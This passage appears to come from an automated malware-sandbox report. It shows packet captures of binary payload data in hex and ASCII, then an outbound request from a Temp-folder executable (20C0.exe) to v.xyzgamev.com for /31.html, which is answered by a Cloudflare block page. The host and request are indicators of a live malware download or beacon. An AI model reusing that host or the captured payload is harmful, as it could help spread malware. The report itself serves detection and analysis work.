a6 fb 58 2d 42 e6 aa 04 0c e7 dd c3 8b 85 4e 38 72 00 f7 fb c0 95 01 03 fb 93 f5 a1 32 d3 6e 8f 5f 5c e2 1c e7 68 36 20 89 e9 Data Ascii: mP$hEp)s>f/jiDE\Z`?^'h9Mi*PqYtUHL/v?Xw-U)6quO!Zzq4]CS}\|I <%BEmx}cH \hY5 xU9!%nqn7X-BN8r2n_\h6
2022-08-31 12:29:00 UTC	4503	IN	Data Raw: 74 8d bf 1c 78 a4 e5 9d 54 b5 b8 9d d9 ae 2a 23 9b 2e 76 9b 60 4a d0 1b e8 63 b0 4b c9 79 f7 d5 d0 8a b4 36 96 24 fc 25 02 3b d7 fb 55 15 89 13 e3 1f e9 6c c9 f2 6b 5c 02 35 93 5d 8a 0e 5f 1d 8b b5 a0 f8 4c 9d 88 92 20 f1 d0 36 79 b4 e8 c4 8e 06 b2 97 e0 78 11 68 6e a0 66 a9 18 09 9a 9f 1a 23 2d 37 bd 85 70 4d 75 c3 80 a3 45 05 20 77 fb 85 be b5 a6 28 72 ab b8 4c a2 73 ad 07 49 57 a9 e2 4f 6b 66 7c 8f 97 64 f3 9f c5 7d 12 cf 99 01 99 0c 84 dd ad 42 78 fd b0 9f 62 e2 cd b8 43 a8 43 0a f0 66 6d 10 83 7f 92 69 32 ec 0a 2f 5c 29 d4 28 ae f9 69 31 7f 3a 64 8f 1e 85 2b 88 d0 b7 69 7d 83 ba 12 25 f6 d1 57 86 30 38 8a 8d 30 fe 35 b0 a3 21 7e 6f 8b 24 65 a0 8a 43 67 58 f0 f9 97 19 a9 ee af f6 f3 c6 dc 34 1c fc 01 6d 92 47 68 fe 9c 4e fb 3f 2e 45 9c ab 66 2a 04 f3 Data Ascii: txT#.v`JcKy6$%;Ulk\5]_L 6yxhnf#-7pMuE w(rLsIWOkf\|d}BxbCCfmi2/\)(i1:d+i}%W0805!~o$eCgX4mGhN?.Ef
2022-08-31 12:29:00 UTC	4519	IN	Data Raw: a3 6c de f6 76 63 92 bc 00 5e 53 94 4a a7 97 33 16 fe 62 26 31 cc ec e7 2f f4 50 4a 28 3b 2c 9c 1a 88 64 2e 3a 2c fd 5b 67 95 df b9 b0 cf dd ed d0 cb 91 c8 58 9a bb a4 c3 9e dd 89 ac 06 38 f2 4b b6 4a ff 27 a4 57 88 c6 d8 f1 e6 27 a9 ab 65 11 61 b3 3b ef a7 0a 57 3a b1 29 26 23 9c 2d 9f 98 e2 6e 62 f3 cd 56 68 79 dd 37 de 52 e5 fd f4 d5 11 3f ce 71 ab 06 f1 cd 1c 50 b0 1b d2 80 58 ec 3e 39 9f a1 44 55 dd b0 67 32 d2 4a d4 67 b6 d8 da dd 20 1f 08 bc 46 14 8a e6 e6 43 df ab 4d ce c1 d8 48 58 aa 3b a4 b9 45 ec b6 fe 73 d4 70 3c a8 ce 64 7b 33 4c bb bd 05 b5 35 a7 21 ca ea 1d 92 55 96 6d 4e 64 57 4d d1 30 61 86 a9 a9 ec df 31 3a af c8 1a e9 35 bb 23 6c fc 1a 71 3b 64 18 a5 db 9f e5 2f 7d 92 15 a4 a5 c8 5a 9e 12 de 78 5b 90 f3 b5 80 af ff 4a 71 06 ad 45 31 7d Data Ascii: lvc^SJ3b&1/PJ(;,d.:,[gX8KJ'W'ea;W:)&#-nbVhy7R?qPX>9DUg2Jg FCMHX;Esp<d{3L5!UmNdWM0a1:5#lq;d/}Zx[JqE1}
2022-08-31 12:29:00 UTC	4535	IN	Data Raw: d0 5e f2 20 de 3d d0 c1 8d 23 52 59 55 3e 29 00 e9 7d e1 1b 2d e3 43 93 ae f1 cc ac 04 d1 99 21 4c 38 09 5f bd f7 3b 9e 69 75 62 9c 34 8a 26 81 cd 74 45 b1 5c 93 94 3a 40 d8 e4 fd d9 58 be 29 4c c9 fe a3 5d 40 ba 8b 99 81 cd 44 63 da 74 58 28 c4 cd 54 c3 84 0e b6 61 0a 97 47 bd 2a 19 33 b4 f8 d7 9f 07 36 89 f6 97 08 04 84 69 0b 77 f6 9b 7a 38 7c d0 22 3d b6 9c 0b 88 29 27 f2 7d 6f d6 f2 34 f8 c4 7f ea 21 81 1e b2 0a 4e 96 0e 4a ae e3 d8 fa a8 6a 36 84 c8 dc 79 8c 52 3d 04 89 76 aa ee 70 4d 15 ed be c4 c8 d1 bc d0 12 46 a7 ba 26 17 9e ad eb 21 ba 4d 61 41 61 8e ff 3b 91 fb a9 b8 18 56 7e b7 7c 15 d4 10 b3 89 46 d1 b6 ce 01 6b 98 c8 b5 14 6f d3 c1 a7 d9 28 f6 7d 47 78 cd 28 ec ec 36 80 e4 00 a7 f7 da 1e 1b c8 b4 97 c0 a6 a4 4d bb 2f 49 2f fd 0d 58 06 ef 96 Data Ascii: ^ =#RYU>)}-C!L8_;iub4&tE\:@X)L]@DctX(TaG*36iwz8\|"=)'}o4!NJj6yR=vpMF&!MaAa;V~\|Fko(}Gx(6M/I/X
2022-08-31 12:29:00 UTC	4551	IN	Data Raw: 2d 90 60 eb 71 51 40 5c 6e af eb cd 87 a0 17 8b 52 22 ef 25 17 87 66 db 7d 7a 89 b3 3b 6e cc 6d bd 1e d3 c3 cf 02 f0 ea fe 32 34 07 99 b4 6d 4f 20 33 fb b4 76 e0 10 9d 37 87 2d 13 8a 77 1f 03 85 15 a4 72 7d d0 6d 3c 49 ae 62 6a c0 3a 95 ca 5b 24 7c 40 26 b1 14 db 93 57 5e 87 91 74 ed 5c 6d 68 cf 2f bd 7a 99 27 4e 55 59 df 4a 62 d8 5e 6a 43 92 7b 72 a9 18 df 62 f9 84 8c ee 64 94 ab 39 22 c3 3c 19 3d 2d 68 46 91 46 2a 2a ee 03 c9 fb 20 ca 7d 58 30 f2 32 c6 1f 83 d9 a1 3d 27 a5 2d b3 21 85 ab 39 3a 56 07 fd 77 34 62 2f 8e 28 8b fe 8d e1 0c 83 3f 93 e4 6d 16 63 6a e4 2f 4f 6d ca 1a e1 25 52 18 b3 8a f9 fc 72 bf 45 93 da 26 7d d8 41 14 f1 55 f1 0a 4d a1 66 38 2e e6 d5 0c 03 68 3c ce 77 ec 3a 9c 8a 75 b3 20 09 41 65 a6 1c 34 5b 34 8a b2 5f 7a d5 98 d5 0e 71 86 Data Ascii: -`qQ@\nR"%f}z;nm24mO 3v7-wr}m<Ibj:[$\|@&W^t\mh/z'NUYJb^jC{rbd9"<=-hFF** }X02='-!9:Vw4b/(?mcj/Om%RrE&}AUMf8.h<w:u Ae4[4_zq
2022-08-31 12:29:00 UTC	4567	IN	Data Raw: f2 8b 6e 59 08 3f 16 79 ab 06 1b 4a 6a f2 27 06 f5 c2 22 2f cd 3e 67 57 d0 b5 3a f7 3e ce 8a 59 1f 6c 71 c7 a8 5a 61 61 90 85 e4 59 41 1e 42 e4 eb 44 d7 2a 1b 24 82 5c 3c c8 95 72 74 e8 f6 d1 a3 e9 dc a7 c1 4a 89 d5 f0 bd 41 54 a2 9b 82 3c 71 10 db b9 00 b6 ed b3 73 57 0c 7d f8 34 94 52 94 76 d0 68 1b fe 73 e0 ee 42 1d 8c 50 d5 4e b6 d3 5d ff 63 6a 1a 9f 8e ce c0 37 35 be 1d d8 38 0e fb 4e 83 bf 5f 8b 0a 6e d9 cf dc 0d 29 33 cb 2e 58 e0 d1 ce cb 36 ea 6f 0f 45 83 68 27 50 62 42 ed b1 83 be 6a 96 ed ec cc 42 7a 37 fb 70 57 69 ed 8f 0c c1 5d 6b db f9 72 23 ef d9 42 28 eb c1 9b 59 1b 65 05 0a 55 29 2b 9c 93 db 5f 6f e1 d6 4e 70 c2 93 b9 55 5e 15 a3 9b de 84 35 1a b4 b1 46 c2 91 89 a3 d8 95 f3 87 ea e4 97 8d 7d 1d 2e cf 7d c6 73 8f a9 b0 fc 9c 9c 32 06 5d 65 Data Ascii: nY?yJj'"/>gW:>YlqZaaYABD*$\<rtJAT<qsW}4RvhsBPN]cj758N_n)3.X6oEh'PbBjBz7pWi]kr#B(YeU)+_oNpU^5F}.}s2]e
2022-08-31 12:29:00 UTC	4583	IN	Data Raw: 08 17 f7 64 bd 73 0d 38 89 38 0b 9d 1c 08 f7 53 36 8a f3 b8 b6 cd a5 a9 b0 13 64 8d 50 60 28 98 a0 80 7c 65 6c 13 19 f3 bd 9b 34 87 06 90 6b 82 b3 2d b9 ef cd 89 37 5f 47 50 71 aa a8 1d 9c 68 8c 4f a9 b2 ed 88 e3 bd aa 51 1d 9d bf 07 1f 3f a9 e3 57 b0 16 3a 22 70 3e cb 7c 07 b9 4e d3 76 ec 94 17 39 3b be fe 25 87 d8 4a 99 a1 ef 26 5a 01 e5 59 84 a4 50 b9 f8 a2 6c 2e c8 6d 3f 14 1b 43 f6 be f3 98 19 18 67 72 45 99 5c 82 f4 c4 a3 05 de 3a 18 46 9e ff ba 44 72 73 f4 8f 8e fa 21 5c 58 40 33 3b 69 7f b2 ef d6 d3 99 e2 f2 26 23 8e a8 cf 69 79 8e 71 75 e3 c0 84 60 36 c0 e4 7f 19 51 c0 20 69 30 6d 9f 38 e3 3d 22 25 36 dc d4 6d f1 e8 c9 c0 10 04 d3 68 e4 a4 3a 59 10 69 2f 2d 6d 07 92 55 e5 c2 fa b5 ab f7 de bf 60 7f 0f cf 03 b0 2b 1f ed 07 c2 8c 5f a7 18 23 cd ff Data Ascii: ds88S6dP`(\|el4k-7_GPqhOQ?W:"p>\|Nv9;%J&ZYPl.m?CgrE\:FDrs!\X@3;i&#iyqu`6Q i0m8="%6mh:Yi/-mU`+_#
2022-08-31 12:29:00 UTC	4599	IN	Data Raw: dc 93 10 25 31 b3 06 1b 35 dd e5 82 3a 94 71 93 c5 06 2d 28 50 1a 07 50 3d 3f 14 7a bf cb aa c9 b4 63 95 7f fa 9f 83 53 3d 0c 44 2d 23 da 89 df 4d 15 2b 5b 6f bd 31 ed 20 03 fb 87 5f f7 4c c8 d9 52 cc 75 f6 fb 2d 4e 74 86 12 eb 89 1e 4e 88 d2 49 30 13 39 82 d0 e4 e1 82 33 58 4d ef 0b e7 fe f0 bb 7a 71 8f c1 16 fc 22 40 aa fb a9 de 72 30 79 68 5a 07 bd c9 e8 49 c6 2e 30 fd 90 2c 46 4e 30 9d d7 49 a3 f9 a7 2a 13 48 3d 3a 07 c9 36 24 4e 9c db f9 87 cf 5a 8e 26 56 5a b9 7f 28 88 e3 e9 ad 1b 89 42 9f 2f a3 63 f0 01 07 ad 48 97 2b 46 e3 8e 67 1f 57 25 7a f4 c3 98 05 27 40 01 6e 84 75 b2 d2 1d 2f 87 35 9b 7b 74 65 3c eb fc 45 95 89 c7 a6 0a 61 35 10 63 63 42 5a 86 1f bb b2 da 0b 0c 49 27 eb 9f bb 82 88 b2 89 62 f5 d2 35 54 24 49 95 22 04 1c 6c d2 42 60 03 bb 7f Data Ascii: %15:q-(PP=?zcS=D-#M+[o1 _LRu-NtNI093XMzq"@r0yhZI.0,FN0I*H=:6$NZ&VZ(B/cH+FgW%z'@nu/5{te<Ea5ccBZI'b5T$I"lB`
2022-08-31 12:29:00 UTC	4615	IN	Data Raw: 44 38 ea f6 39 00 65 58 30 1b 5a 52 68 53 2e 53 84 99 98 4e 31 13 c9 cc a6 d7 93 8a 6a af 84 12 a2 00 95 b3 f4 95 ba 27 32 b6 33 9e 8d 4f d4 c2 3f 32 2c 93 eb dd d5 7d c4 a2 e7 5f e3 3c 12 50 be 0a 76 ac c3 36 1e 60 f9 a6 b9 0b b8 09 88 66 4e 0e 8b a4 0e 94 bc 92 bb 93 11 45 7b 1c ac 5c 9b 68 31 4d 6e ae f0 36 22 b0 28 19 11 fc d8 c7 28 03 02 0b bd a3 8a 6b b3 a6 44 34 e5 a2 33 4a dd 8b da 70 2d cb c4 86 77 a4 b2 ff 8a 79 61 f8 d6 93 ee 7d f3 df b7 77 56 50 f8 7e 35 9d 9f 50 5b 21 55 95 ca e8 ce b3 6c b1 d4 4f e6 d8 54 5d 13 1f 8b 69 4f 1b 59 f2 99 8d ed 44 94 a4 1b f9 5b 7c df d8 34 75 ca 8f d4 52 52 f7 bf d0 ed 85 71 e0 9c c3 bc 5f 73 f6 a3 b5 42 f8 7e b9 12 c7 7e c9 1e d5 55 44 2f 1e f8 bf 0d 70 65 4d c8 c4 8c 30 69 0a 59 25 d1 35 99 a9 f0 9a 99 73 67 Data Ascii: D89eX0ZRhS.SN1j'23O?2,}_<Pv6`fNE{\h1Mn6"((kD43Jp-wya}wVP~5P[!UlOT]iOYD[\|4uRRq_sB~~UD/peM0iY%5sg
2022-08-31 12:29:00 UTC	4631	IN	Data Raw: 3a a5 19 35 b4 03 f1 d1 0a 23 3c f7 d9 b7 64 26 6f b8 29 62 3b 42 79 92 58 50 9c 00 68 27 b8 ac 80 2d 92 8c b0 f6 0c 03 5d e6 d7 b9 05 01 f2 8b 1c 67 20 b7 b2 da 78 2b 47 ed 00 51 2d b9 64 a9 76 04 4c 57 1a 6b 48 a0 9f d1 bd 43 69 1c 98 00 46 ee 82 08 33 64 6c 59 03 d8 38 12 a3 e9 1f 26 0d 1a 3c f8 01 ee 59 b5 75 dd ae 7f 7b a8 ad b1 68 4e 56 a8 80 32 2c 10 ad b4 a3 06 9f 36 e3 ef cc 11 72 aa 04 52 25 a1 de f5 00 0a cb 5d 42 87 cd b5 02 1e 26 4c 16 69 7d 32 a3 82 8d 05 b0 04 5c 5d 1f 56 80 40 79 1e c3 e3 27 92 9a 64 12 a6 fc c1 7b 5d 23 1f d0 82 69 e5 72 66 f7 ba 00 da 89 92 b4 73 18 4b dc 37 f9 d6 69 5a 04 97 d2 cf 62 0c e7 d1 f5 ce 27 0c ef 30 32 71 7e 4c ad 67 ed 47 15 09 c9 e4 5c 88 a4 d5 bc 6a 1e c5 3f 69 16 11 1e 55 d1 53 c6 7b 94 aa bd fc 0e 26 c1 Data Ascii: :5#<d&o)b;ByXPh'-]g x+GQ-dvLWkHCiF3dlY8&<Yu{hNV2,6rR%]B&Li}2\]V@y'd{]#irfsK7iZb'02q~LgG\j?iUS{&
2022-08-31 12:29:00 UTC	4647	IN	Data Raw: 00 df ec 60 b3 a0 c1 7f a6 80 ee 64 89 a7 bc 2e b4 fe c6 b0 9c 23 85 9d 00 07 ff c9 2e 15 37 04 a6 65 f8 85 86 f8 d9 60 4f fa 56 fc f5 12 5f 63 81 5c b6 06 79 22 e2 c4 81 2e 1a 87 07 ab 9c 30 6c 0f a3 93 7e d4 9c cc f2 df 8a 28 76 fd 80 4f 0d 2b d5 42 45 13 90 fc fe 1e 42 cd 72 e3 77 b6 56 25 b1 ce 1c 1d ac d7 44 4a fa 7b 38 0b de e4 ba 3b c9 fc e8 7b 97 80 63 b4 08 0b 43 74 93 7b 17 94 9c b0 d9 90 8d 0b f1 af dd de 97 44 42 57 06 f3 42 ac d3 8d ec 4d 3f 07 75 22 2f 6d a2 c2 6b e6 b0 3a 5a a4 40 51 bc c6 f4 21 85 59 46 e4 c0 f6 b4 31 1d eb b9 86 a6 6c 14 d6 90 ee 4f f6 d4 65 ff 6f 7f 27 77 e2 6b d9 56 70 ec ff db 4e 4c fb 76 ff 4d bb 01 99 0f ac 14 7a 36 be f0 8f 34 d5 6b 68 8b 7f 1f ec 63 79 d2 52 79 66 8f 07 cf 0b b6 16 ad f1 9a b6 b7 a7 da 27 bf ff c1 Data Ascii: `d.#.7e`OV_c\y".0l~(vO+BEBrwV%DJ{8;{cCt{DBWBM?u"/mk:Z@Q!YF1lOeo'wkVpNLvMz64khcyRyf'
2022-08-31 12:29:00 UTC	4663	IN	Data Raw: d7 29 85 f2 5c 98 09 a8 a5 36 1e 4a 69 b5 f0 db 36 18 95 0d d3 76 7a f5 86 ca fd 04 88 3d 7e 9f cc f3 2d 15 1e 4a 9f 55 90 4b c6 55 e6 76 ef 77 90 25 9b 39 e5 b5 69 c7 b0 41 47 0d 57 49 9f 7a e0 fe 48 c3 78 a3 c5 15 35 ea fb 43 99 6d 5a 39 e3 d6 dc ca f0 15 16 0a 29 7a a8 66 72 ad 91 74 ca 0f 3b 8b 76 99 43 f3 a5 35 2e 63 a6 21 7c 64 ef 57 0c cf 49 09 90 18 13 46 80 4c 53 3b 52 28 3b 1b 0b 6e 7c e5 e4 4d 00 58 b5 5b 21 8d 7a 38 0b 2d 82 ba 06 ba 25 e9 f5 0a bf 99 db 74 6c e2 6b a0 37 83 ca 11 33 d4 6e a4 8a f8 2b 43 5e 6b 3d 6b 1f ab 09 91 2f d7 7b 27 7a eb 3b 26 3e a2 40 78 da 41 ef d9 a4 25 f5 89 bd d2 b3 17 a9 0a 6e 55 ac 3b ee 2d 42 c0 53 bb a7 b2 e5 3a 41 6b e5 0d f2 c3 d6 be 2e 06 ab b4 dd 76 54 6f b1 a2 5d bb fd a1 96 87 a1 5d f2 07 4b 0f 2c 58 64 Data Ascii: )\6Ji6vz=~-JUKUvw%9iAGWIzHx5CmZ9)zfrt;vC5.c!\|dWIFLS;R(;n\|MX[!z8-%tlk73n+C^k=k/{'z;&>@xA%nU;-BS:Ak.vTo]]K,Xd
2022-08-31 12:29:00 UTC	4679	IN	Data Raw: bc 8c 5b 44 7c 0a 08 21 6c 77 80 55 e1 12 94 f1 43 88 b8 1a c8 81 f9 23 c2 72 f4 cf 17 b3 52 da 63 22 7b 40 2c 24 a7 78 f5 bf 70 76 cd 27 d1 e0 59 6d 05 1c 52 9a e8 4f b8 e8 df 44 33 89 ee ce 67 f2 10 c6 24 03 0c f0 0c eb b8 fc 5d e5 53 6a f2 e7 44 0b 47 a2 4e e0 89 67 a9 06 0c c5 d5 ea a8 37 4f d1 f8 36 94 a1 6b 41 48 25 74 ef a7 7e 52 9d 02 fb 1f 43 39 64 db fb eb ab 33 de 65 4e ce 5d 51 53 85 63 0b 41 98 4e 5b 70 f1 b7 c0 22 fb a6 e1 fb b4 e1 07 c3 ac 29 6a 67 03 62 1e 12 38 52 67 ef 6c 6c f1 56 a0 ab ce 45 fb 19 6b 55 8f 04 e0 7f 7d b2 3c ad 04 31 86 03 1f 22 8a 64 6b 1d 05 33 f2 f4 7b 7d 20 0b 36 66 2d 2e 20 c6 2a d1 b7 96 e7 af b6 2c e2 03 8f 5d 0a 67 92 4b 78 5f 93 4b 22 3e 85 6d 18 c5 b6 c7 3b b7 72 fb 88 cd 43 80 dc 95 07 56 87 f2 7d a0 7d 24 ef Data Ascii: [D\|!lwUC#rRc"{@,$xpv'YmROD3g$]SjDGNg7O6kAH%t~RC9d3eN]QScAN[p")jgb8RgllVEkU}<1"dk3{} 6f-. *,]gKx_K">m;rCV}}$
2022-08-31 12:29:00 UTC	4695	IN	Data Raw: 41 dd 52 07 29 24 4c e0 84 42 58 28 bd 48 39 da c8 a4 85 4c 7e bd dd 3b dc d0 6f aa ee 4b 4e ad 08 eb 32 5e 99 71 0d 09 44 e4 5b f3 52 01 5d 61 d1 c9 9c 20 b4 3c ff 12 bd 77 cc a1 d9 d4 55 8d 63 ea 74 e3 cd 74 33 0a 8a 67 47 f1 58 fd b9 a4 d1 24 77 aa cd 19 0b 24 6f f8 e0 45 fc b4 58 6d 2d 25 05 5a 82 88 a2 c0 71 d0 ba 26 23 3b 2e 1f d2 be 08 8a f7 16 9a 75 0e 6e 36 3e b7 5a fe e9 31 05 5f f6 0f 38 46 77 07 e2 94 a6 a7 fe 49 6e 2c a5 2c 7c b6 c4 6f d7 0a ca e0 c9 ab 30 a3 5a a2 7b e9 fc ce 51 78 69 db bb 99 a1 bb 1a 95 f5 40 99 ce 75 bc c3 44 6a 2f 15 2d 68 12 77 0f ca d7 5e 17 ff 24 6d 4c 8e b1 48 12 4e 61 ca eb b2 89 11 01 9c 63 5e e0 03 c3 6e 00 53 f4 56 df fc 26 28 36 64 0f 85 e1 de 64 25 a1 2a 9a ce bc 33 9a 47 bf bb f9 aa bc 0c d9 bf f8 38 61 59 50 Data Ascii: AR)$LBX(H9L~;oKN2^qD[R]a <wUctt3gGX$w$oEXm-%Zq&#;.un6>Z1_8FwIn,,\|o0Z{Qxi@uDj/-hw^$mLHNac^nSV&(6dd%*3G8aYP
2022-08-31 12:29:00 UTC	4711	IN	Data Raw: 0f 0f 0f 0f 0f 0f 0f 0f 0f c7 5c 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f ea 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f ff ff 00 00 e3 cf 00 00 f0 0f 00 00 f0 0f 00 00 f0 0f 00 00 f0 0f 00 00 e0 07 00 00 c0 03 00 00 80 01 00 00 f8 1f 00 00 fc 3f 00 00 fc 7f 00 00 fe 7f 00 00 fe ff 00 00 ff ff 00 00 ff ff 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 ca d3 2d 80 ce cf 2f 7c d4 d7 2a 85 d6 d2 2a 81 c9 de 2e 87 d5 d6 26 84 d7 d5 2e 81 d0 d7 2d 81 cc d2 26 86 d3 d0 31 89 cb dd 35 87 d2 d6 30 8a d1 ca 2f 7e c8 da 3a 8c d5 ce 32 83 ce e0 32 8c d2 d6 31 8c d6 d1 29 80 Data Ascii: \?( @ -/\|**.&.-&150/~:221)
2022-08-31 12:29:00 UTC	4727	IN	Data Raw: 75 00 77 00 65 00 76 00 6f 00 6e 00 65 00 6a 00 65 00 7a 00 65 00 76 00 61 00 74 00 20 00 64 00 69 00 63 00 69 00 62 00 20 00 70 00 75 00 6d 00 61 00 74 00 69 00 79 00 65 00 76 00 75 00 77 00 6f 00 7a 00 20 00 6c 00 61 00 67 00 61 00 62 00 61 00 62 00 61 00 7a 00 65 00 64 00 61 00 62 00 6f 00 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: uwevonejezevat dicib pumatiyevuwoz lagababazedabox

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.4	49810	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:30:08 UTC	5006	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:30:08 UTC	5007	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:30:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:30:23 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=XmKYpIUouVH6jhK4mbKU0ImgGng3X7yFW9AJx7cPUALXR%2F3uGP%2BD7QhEc1FVSEw%2BudxSUQOpK6433zpnhy6QwnSWXLCit2%2BxkvHrumQbxvTlcv2O0OFjKkNIu9vBTmHehw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c69478609a39-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:30:08 UTC	5007	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:30:08 UTC	5008	IN	Data Raw: 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 Data Ascii: href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cooki
2022-08-31 12:30:08 UTC	5009	IN	Data Raw: 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e 6c 69 Data Ascii: cf-columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from onli
2022-08-31 12:30:08 UTC	5011	IN	Data Raw: 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e Data Ascii: lock sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> 